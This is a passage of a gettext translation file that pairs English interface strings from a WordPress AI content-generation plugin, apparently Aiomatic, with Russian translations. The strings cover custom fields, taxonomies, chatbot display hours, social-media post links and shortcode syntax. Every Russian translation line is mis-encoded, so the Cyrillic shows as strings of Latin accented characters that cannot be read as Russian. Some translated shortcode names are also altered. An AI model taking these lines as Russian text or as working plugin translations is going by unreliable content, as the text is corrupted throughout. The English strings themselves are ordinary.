Ð´Ð»Ñ Ñоздаваемых " "поÑтов. СинтакÑÐ¸Ñ Ñтого Ð¿Ð¾Ð»Ñ Ñледующий: custom_field_name1 => " "custom_field_value1, custom_field_name2 => custom_field_value2" #: res/aiomatic-csv-list.php:521 res/aiomatic-csv-list.php:1684 #: res/aiomatic-rules-list.php:2255 res/aiomatic-rules-list.php:5053 #, php-format msgid "" "Set the custom fields that will be set for generated posts. The syntax for " "this field is the following: custom_field_name1 => custom_field_value1, " "custom_field_name2 => custom_field_value2, ... . You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You can " "also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%" msgstr "" "УÑтановите ÐаÑтраиваемые ПолÑ, которые будут уÑтановлены Ð´Ð»Ñ Ð¡Ð³ÐµÐ½ÐµÑ€Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ñ‹Ñ… " "ПоÑтов. СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого ÐŸÐ¾Ð»Ñ Ñледующий: custom_field_name1 => " "custom_field_value1, custom_field_name2 => custom_field_value2, ... . Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции " "«Создание ПользовательÑких Шорткодов» в ÐаÑтройках Правил — Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI Промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента. Ð’Ñ‹ также можете иÑпользовать " "Ñледующие Шорткоды на оÑнове тем: %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%" #: res/aiomatic-amazon-list.php:2057 res/aiomatic-amazon-list.php:4664 #: res/aiomatic-review-list.php:2126 res/aiomatic-review-list.php:4817 #: res/aiomatic-youtube-list.php:2028 res/aiomatic-youtube-list.php:4592 #, php-format msgid "" "Set the custom fields that will be set for generated posts. The syntax for " "this field is the following: custom_field_name1 => custom_field_value1, " "custom_field_name2 => custom_field_value2, ... . You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You can " "also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%" msgstr "" "УÑтановите наÑтраиваемые полÑ, которые будут уÑтановлены Ð´Ð»Ñ Ñгенерированных " "ПоÑтов. СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ñледующий: custom_field_name1 => " "custom_field_value1, custom_field_name2 => custom_field_value2, ... . Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "«Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом " "Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Ð’Ñ‹ также " "можете иÑпользовать Ñледующие шорткоды на оÑнове тем: %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%" #: aiomatic-automation.php:1188 msgid "" "Set the custom taxonomies that will be set for generated posts. The syntax " "for this field is the following: custom_taxonomy_name1 => " "custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => " "custom_taxonomy_value2A, custom_taxonomy_value2B . You can also set " "hierarhical taxonomies (parent > child), in this format: " "custom_taxonomy_name => parent1 > child1 . " msgstr "" "Задайте пользовательÑкие такÑономии, которые будут уÑтанавливатьÑÑ Ð´Ð»Ñ " "генерируемых поÑтов. СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ñледующий: " "custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; " "custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B . " "Ð’Ñ‹ также можете задать иерархичеÑкие такÑономии (родительÑÐºÐ°Ñ > дочернÑÑ), в " "таком формате: custom_taxonomy_name => parent1 > child1 . " #: res/aiomatic-csv-list.php:536 res/aiomatic-csv-list.php:1696 #: res/aiomatic-rules-list.php:2270 res/aiomatic-rules-list.php:5065 #, php-format msgid "" "Set the custom taxonomies that will be set for generated posts. The syntax " "for this field is the following: custom_taxonomy_name1 => " "custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => " "custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set " "hierarhical taxonomies (parent > child), in this format: " "custom_taxonomy_name => parent1 > child1 . You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You can " "also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%" msgstr "" "Задайте пользовательÑкие такÑономии, которые будут уÑтанавливатьÑÑ Ð´Ð»Ñ " "генерируемых поÑтов. СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ñледующий: " "custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; " "custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; .." ". . Ð’Ñ‹ также можете задавать иерархичеÑкие такÑономии (родительÑÐºÐ°Ñ > " "дочернÑÑ), в таком формате: custom_taxonomy_name => parent1 > child1 . Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Ð’Ñ‹ также можете иÑпользовать " "Ñледующие тематичеÑкие шорткоды: %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%." #: res/aiomatic-amazon-list.php:2072 res/aiomatic-amazon-list.php:4676 #: res/aiomatic-review-list.php:2141 res/aiomatic-review-list.php:4829 #: res/aiomatic-youtube-list.php:2043 res/aiomatic-youtube-list.php:4604 #, php-format msgid "" "Set the custom taxonomies that will be set for generated posts. The syntax " "for this field is the following: custom_taxonomy_name1 => " "custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => " "custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set " "hierarhical taxonomies (parent > child), in this format: " "custom_taxonomy_name => parent1 > child1 . You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You can " "also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%" msgstr "" "Задайте пользовательÑкие такÑономии, которые будут уÑтанавливатьÑÑ Ð´Ð»Ñ " "генерируемых поÑтов. СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ñледующий: " "custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; " "custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; .." ". . Ð’Ñ‹ также можете задавать иерархичеÑкие такÑономии (родительÑÐºÐ°Ñ > " "дочернÑÑ), в таком формате: custom_taxonomy_name => parent1 > child1 . Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Ð’Ñ‹ также можете иÑпользовать " "Ñледующие тематичеÑкие шорткоды: %%post_title%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%." #: res/aiomatic-chatbot.php:2572 msgid "" "Set the daily token count for logged in users. Users who are not logged in " "will not be allowed to submit the form. To disable this feature, leave this " "field blank." msgstr "" "УÑтановите ежедневное количеÑтво токенов Ð´Ð»Ñ Ð·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных " "пользователей. Пользователи, которые не вошли в ÑиÑтему, не Ñмогут отправить " "форму. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым." #: res/aiomatic-chatbot.php:4599 msgid "" "Set the days of the week, when you want to always show the chatbot " "(regardless of the above hour limitations)." msgstr "" "УÑтановите дни недели, когда вы хотите вÑегда показывать чатбота (незавиÑимо " "от указанных выше ограничений по чаÑам)." #: res/aiomatic-chatbot.php:4625 msgid "Set the days of the week, when you want to never show the chatbot." msgstr "УÑтановите дни недели, когда вы не хотите показывать чатбота." #: res/aiomatic-chatbot.php:2786 msgid "" "Set the default height of the talking avatar. The default value for this is " "300px." msgstr "" "УÑтановите выÑоту говорÑщего аватара по умолчанию. Значение по умолчанию Ð´Ð»Ñ " "Ñтого — 300 пикÑелей." #: res/aiomatic-chatbot.php:2770 msgid "" "Set the default width of the talking avatar. The default value for this is " "300px." msgstr "" "УÑтановите ширину говорÑщего аватара по умолчанию. Значение по умолчанию Ð´Ð»Ñ " "Ñтого — 300 пикÑелей." #: aiomatic-automation.php:849 msgid "Set the description of the Pinterest pin" msgstr "УÑтановите опиÑание пина Pinterest." #: aiomatic-automation.php:850 #, php-format msgid "" "Set the description of the Pinterest pin. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте опиÑание пина Pinterest. Дополнительные шорткоды, которые вы можете " "иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: res/aiomatic-assistants.php:404 res/aiomatic-assistants.php:559 msgid "Set the description of this assistant." msgstr "УÑтановите опиÑание Ñтого аÑÑиÑтента." #: aiomatic-ajax-actions.php:8032 res/aiomatic-shortcodes.php:223 msgid "Set the description of this form." msgstr "УÑтановите опиÑание Ñтой формы." #: aiomatic-automation.php:694 msgid "Set the email address to which to send the email" msgstr "" "УÑтановите Ð°Ð´Ñ€ÐµÑ Ñлектронной почты, на который будет отправлÑÑ‚ÑŒÑÑ " "Ñлектронное пиÑьмо" #: aiomatic-automation.php:695 #, php-format msgid "" "Set the email address to which to send the email. Additional shortcodes you " "can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте Ð°Ð´Ñ€ÐµÑ Ñлектронной почты, на который будет отправлено пиÑьмо. " "Дополнительные шорткоды, которые вы можете иÑпользовать: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:1115 msgid "Set the excerpt of the post" msgstr "УÑтановить отрывок поÑта" #: aiomatic-automation.php:1116 #, php-format msgid "" "Set the excerpt of the post to be created. Additional shortcodes you can use:" " %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте отрывок Ñоздаваемого поÑта. Дополнительные шорткоды, которые вы " "можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:1215 msgid "Set the featured image of the post to be created" msgstr "УÑтановите избранное изображение Ñоздаваемого поÑта." #: aiomatic-automation.php:1216 #, php-format msgid "" "Set the featured image of the post to be created. Additional shortcodes you " "can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported. You can also use " "the numeric IDs of Media Library attachments." msgstr "" "УÑтановите главное изображение Ñоздаваемого поÑта. Дополнительные шорткоды, " "которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress. Ð’Ñ‹ также можете " "иÑпользовать чиÑловые идентификаторы вложений медиатеки." #: aiomatic-ajax-actions.php:7887 res/aiomatic-shortcodes.php:54 msgid "Set the field type for this input field." msgstr "УÑтановите тип Ð¿Ð¾Ð»Ñ Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°." #: aiomatic-automation.php:719 msgid "Set the file type of the saved file." msgstr "УÑтановите тип ÑохранÑемого файла." #: res/aiomatic-assistants.php:424 msgid "Set the first message of this assistant." msgstr "УÑтановите первое Ñообщение Ñтого аÑÑиÑтента." #: res/aiomatic-assistants.php:579 msgid "" "Set the first message of this assistant. This feature is currently not " "supported by OpenAI for Assistants API." msgstr "" "УÑтановите первое Ñообщение Ñтого аÑÑиÑтента. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð² наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ " "не поддерживаетÑÑ API OpenAI for Assistants." #: res/aiomatic-chatbot.php:5544 msgid "Set the first message of this persona." msgstr "УÑтановите первое Ñообщение Ñтого перÑонажа." #: res/aiomatic-assistants.php:462 res/aiomatic-assistants.php:617 msgid "" "Set the function or an array of functions, which the assistant will be able " "to call You need to respect the required function format, for this to work." msgstr "" "УÑтановите функцию или маÑÑив функций, которые помощник Ñможет вызывать. " "Чтобы Ñто работало, необходимо Ñоблюдать требуемый формат функции." #: res/aiomatic-review-list.php:3295 msgid "" "Set the header text of the Customer Reviews Analysis section header. Default " "is: Customer Reviews Analysis" msgstr "" "Задайте текÑÑ‚ заголовка раздела «Ðнализ отзывов клиентов». По умолчанию: " "Ðнализ отзывов клиентов." #: res/aiomatic-amazon-list.php:3250 res/aiomatic-review-list.php:3235 #: res/aiomatic-rules-list.php:3425 res/aiomatic-youtube-list.php:3162 msgid "Set the header text of the outro section header. This is optional." msgstr "" "УÑтановите текÑÑ‚ Заголовка Заголовка Раздела Заключительной чаÑти. Это " "необÑзательно." #: res/aiomatic-review-list.php:3325 msgid "" "Set the header text of the Pros & Cons section header. Default is: Pros & " "Cons" msgstr "" "УÑтановите текÑÑ‚ заголовка раздела «ПлюÑÑ‹ и минуÑы». По умолчанию: плюÑÑ‹ и " "минуÑÑ‹." #: res/aiomatic-amazon-list.php:3310 res/aiomatic-review-list.php:3355 #: res/aiomatic-rules-list.php:3485 res/aiomatic-youtube-list.php:3222 msgid "Set the header text of the Q&A section header. Default is: Q&A" msgstr "" "УÑтановите текÑÑ‚ Заголовка Заголовка Раздела ВопроÑов и Ответов. По " "умолчанию: ВопроÑÑ‹ Ответы" #: res/aiomatic-chatbot.php:4579 msgid "" "Set the hour period of each day, when you want to show the chatbot embedded " "on your site. Your current server time is: " msgstr "" "УÑтановите чаÑовой период каждого днÑ, когда вы хотите показывать чат-бот, " "вÑтроенный на ваш Ñайт. Ваше текущее Ð²Ñ€ÐµÐ¼Ñ Ð½Ð° Ñервере:" #: aiomatic-automation.php:1154 msgid "Set the ID of the parent of created posts" msgstr "УÑтановите идентификатор Ñ€Ð¾Ð´Ð¸Ñ‚ÐµÐ»Ñ Ñозданных поÑтов" #: aiomatic-automation.php:1155 res/aiomatic-amazon-list.php:1997 #: res/aiomatic-amazon-list.php:4609 res/aiomatic-csv-list.php:446 #: res/aiomatic-csv-list.php:1612 res/aiomatic-review-list.php:2066 #: res/aiomatic-review-list.php:4762 res/aiomatic-rules-list.php:2195 #: res/aiomatic-rules-list.php:4998 res/aiomatic-youtube-list.php:1968 #: res/aiomatic-youtube-list.php:4537 msgid "" "Set the ID of the parent of created posts. This is useful for BBPress " "integration, to assign forum IDs for created topics or for other similar " "functionalities." msgstr "" "УÑтановите идентификатор Ñ€Ð¾Ð´Ð¸Ñ‚ÐµÐ»Ñ Ñоздаваемых поÑтов. Это полезно Ð´Ð»Ñ " "интеграции Ñ BBPress, Ð´Ð»Ñ Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ‚Ð¾Ñ€Ð¾Ð² форума Ñозданным темам " "или Ð´Ð»Ñ Ð´Ñ€ÑƒÐ³Ð¸Ñ… подобных функций." #: res/aiomatic-main.php:3167 msgid "Set the image model of the AI assistant generated images." msgstr "УÑтановите модель изображениÑ, Ñозданного аÑÑиÑтентом AI." #: res/aiomatic-main.php:3126 msgid "Set the image size of the AI assistant generated images." msgstr "УÑтановите размер изображениÑ, Ñгенерированного Assistantом AI." #: aiomatic-automation.php:121 aiomatic-automation.php:151 msgid "Set the image size to be used for the image generator." msgstr "" "УÑтановите размер изображениÑ, которое будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° " "изображений." #: aiomatic-ajax-actions.php:7861 res/aiomatic-shortcodes.php:30 #, php-format msgid "" "Set the input field ID. This is important, as you will be able to get the " "value entered by users on the front end for this input field, using this ID. " "You will be able to use this in the 'Prompt' settings field from below, in " "the following format: %%ID_YOU_ENTER_HERE%%." msgstr "" "УÑтановите ID Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. Это важно, так как вы Ñможете получить значение, " "введенное пользователÑми во внешнем интерфейÑе Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°, " "иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñтот ID. Ð’Ñ‹ Ñможете иÑпользовать Ñто в поле наÑтроек «Промпт» " "Ñнизу в Ñледующем формате: %%ID_YOU_ENTER_HERE%%." #: aiomatic-ajax-actions.php:7855 res/aiomatic-shortcodes.php:20 msgid "Set the input field Label (textual hint)." msgstr "УÑтановите поле ввода Лейбл (текÑÑ‚Ð¾Ð²Ð°Ñ Ð¿Ð¾Ð´Ñказка)." #: aiomatic-automation.php:543 msgid "Set the keyword based on which royalty free images will be searched" msgstr "" "УÑтановите ключевое Ñлово, по которому будет оÑущеÑтвлÑÑ‚ÑŒÑÑ Ð¿Ð¾Ð¸Ñк " "изображений, не требующих лицензионных отчиÑлений." #: aiomatic-automation.php:544 #, php-format msgid "" "Set the keyword based on which royalty free images will be searched. " "Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" "Задайте ключевое Ñлово, по которому будет оÑущеÑтвлÑÑ‚ÑŒÑÑ Ð¿Ð¾Ð¸Ñк беÑплатных " "изображений. Дополнительные шорткоды, которые вы можете иÑпользовать: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:561 msgid "Set the keyword based on which YouTube videos will be searched" msgstr "" "УÑтановите ключевое Ñлово, по которому будет выполнÑÑ‚ÑŒÑÑ Ð¿Ð¾Ð¸Ñк видео на " "YouTube." #: aiomatic-automation.php:562 #, php-format msgid "" "Set the keyword based on which YouTube videos will be searched. Additional " "shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" "Задайте ключевое Ñлово, по которому будет оÑущеÑтвлÑÑ‚ÑŒÑÑ Ð¿Ð¾Ð¸Ñк видео на " "YouTube. Дополнительные шорткоды, которые вы можете иÑпользовать: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:312 msgid "Set the keyword for which SERP data is queried" msgstr "" "УÑтановите ключевое Ñлово, по которому запрашиваютÑÑ Ð´Ð°Ð½Ð½Ñ‹Ðµ поиÑковой выдачи." #: aiomatic-automation.php:313 #, php-format msgid "" "Set the keyword for which SERP data is queried. Additional shortcodes you " "can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте ключевое Ñлово, по которому будут запрашиватьÑÑ Ð´Ð°Ð½Ð½Ñ‹Ðµ SERP. " "Дополнительные шорткоды, которые вы можете иÑпользовать: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: res/aiomatic-amazon-list.php:713 res/aiomatic-amazon-list.php:3341 #: res/aiomatic-review-list.php:685 res/aiomatic-review-list.php:3368 #: res/aiomatic-rules-list.php:652 res/aiomatic-rules-list.php:3498 #: res/aiomatic-single-list.php:1605 res/aiomatic-single-list.php:3593 #: res/aiomatic-single-list.php:4921 res/aiomatic-single-list.php:6190 #: res/aiomatic-youtube-list.php:655 res/aiomatic-youtube-list.php:3235 #, php-format msgid "" "Set the language of the created content. This will set the value of the " "%%language%% shortcode, which can be used in prompts below. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." msgstr "" "УÑтановите Ñзык Ñоздаваемого Контента. При Ñтом будет уÑтановлено значение " "короткого кода %%Ñзыка%%, которое можно иÑпользовать в Промптх ниже. Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции " "«Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: aiomatic-automation.php:937 msgid "Set the link of the post image" msgstr "УÑтановить ÑÑылку на изображение поÑта" #: aiomatic-automation.php:779 msgid "Set the link of the Facebook image post" msgstr "УÑтановите ÑÑылку на изображение поÑта Facebook" #: aiomatic-automation.php:780 #, php-format msgid "" "Set the link of the Facebook image post. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтанавливает ÑÑылку на изображение поÑта в Facebook. Дополнительные " "шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, " "%%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% " "+ поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:755 msgid "Set the link of the Facebook post" msgstr "УÑтановить ÑÑылку на поÑÑ‚ в Facebook" #: aiomatic-automation.php:756 #, php-format msgid "" "Set the link of the Facebook post. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите ÑÑылку на поÑÑ‚ в Facebook. Дополнительные шорткоды, которые вы " "можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:912 msgid "Set the link of the Google My Business post image" msgstr "УÑтановите ÑÑылку на изображение поÑта в Google Мой бизнеÑ." #: aiomatic-automation.php:913 #, php-format msgid "" "Set the link of the Google My Business post image. Additional shortcodes you " "can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтанавливает ÑÑылку на изображение поÑта Google Мой бизнеÑ. Дополнительные " "шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, " "%%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% " "+ поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:804 msgid "Set the link of the Instagram image post" msgstr "УÑтановите ÑÑылку на изображение поÑта в Instagram" #: aiomatic-automation.php:805 #, php-format msgid "" "Set the link of the Instagram image post. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтанавливает ÑÑылку на изображение поÑта в Instagram. Дополнительные " "шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, " "%%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% " "+ поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:1039 msgid "Set the link of the LinkedIn post image" msgstr "УÑтановите ÑÑылку на изображение поÑта LinkedIn." #: aiomatic-automation.php:1040 #, php-format msgid "" "Set the link of the LinkedIn post image. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите ÑÑылку на изображение поÑта в LinkedIn. Дополнительные шорткоды, " "которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:835 msgid "Set the link of the Pinterest image post" msgstr "УÑтановите ÑÑылку на изображение поÑта Pinterest." #: aiomatic-automation.php:836 #, php-format msgid "" "Set the link of the Pinterest image post. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите ÑÑылку на изображение поÑта из Pinterest. Дополнительные шорткоды," " которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:881 msgid "Set the link of the X (Twitter) post image" msgstr "УÑтановите ÑÑылку на изображение поÑта X (Twitter)" #: aiomatic-automation.php:882 #, php-format msgid "" "Set the link of the X (Twitter) post image. Additional shortcodes you can " "use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите ÑÑылку на изображение поÑта X (Twitter). Дополнительные шорткоды, " "которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress" #: aiomatic-automation.php:938 #, php-format msgid "" "Set the link of the YouTube Community post image. Additional shortcodes you " "can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтанавливает ÑÑылку на изображение поÑта в ÑообщеÑтве YouTube. " "Дополнительные шорткоды, которые вы можете иÑпользовать: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:725 msgid "Set the location of the saved file." 